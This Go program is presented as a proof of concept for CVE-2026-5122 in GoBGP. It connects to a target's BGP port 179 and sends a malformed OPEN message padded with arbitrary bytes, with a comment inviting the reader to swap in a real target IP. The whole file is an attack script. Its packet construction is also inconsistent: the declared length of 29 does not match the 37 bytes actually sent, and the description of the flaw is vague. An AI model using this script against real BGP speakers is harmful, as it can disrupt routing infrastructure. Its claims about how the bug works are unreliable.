package main
import (
"fmt"
"net"
)
// PoC for CVE-2026-5122: GoBGP DecodeFromBytes vulnerability
// This PoC demonstrates sending a crafted BGP OPEN message
// to trigger the improper access control in DecodeFromBytes.
func main() {
target := "127.0.0.1:179" // Replace with target IP
conn, err := net.Dial("tcp", target)
if err != nil {
fmt.Println("Connection failed:", err)
return
}
defer conn.Close()
// BGP Marker (16 bytes of 1s)
marker := make([]byte, 16)
for i := range marker {
marker[i] = 0xFF
}
// BGP Header Length: 29 (Example)
length := []byte{0x00, 0x1D}
// BGP Message Type: 1 (OPEN)
msgType := []byte{0x01}
// BGP Version: 4
version := []byte{0x04}
// My AS: 100
myAS := []byte{0x00, 0x64}
// Hold Time: 180
holdTime := []byte{0x00, 0xB4}
// BGP Identifier
bgpID := []byte{0x01, 0x02, 0x03, 0x04}
// Optional Parameter Length
// Manipulating this to potentially affect domainNameLen logic
optParmLen := []byte{0x08}
// Malformed Optional Parameters payload
payload := append(marker, length...)
payload = append(payload, msgType...)
payload = append(payload, version...)
payload = append(payload, myAS...)
payload = append(payload, holdTime...)
payload = append(payload, bgpID...)
payload = append(payload, optParmLen...)
// Append arbitrary data to simulate the malformed argument
payload = append(payload, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x01, 0x02)
_, err = conn.Write(payload)
if err != nil {
fmt.Println("Send failed:", err)
return
}
fmt.Println("Malformed BGP OPEN message sent.")
}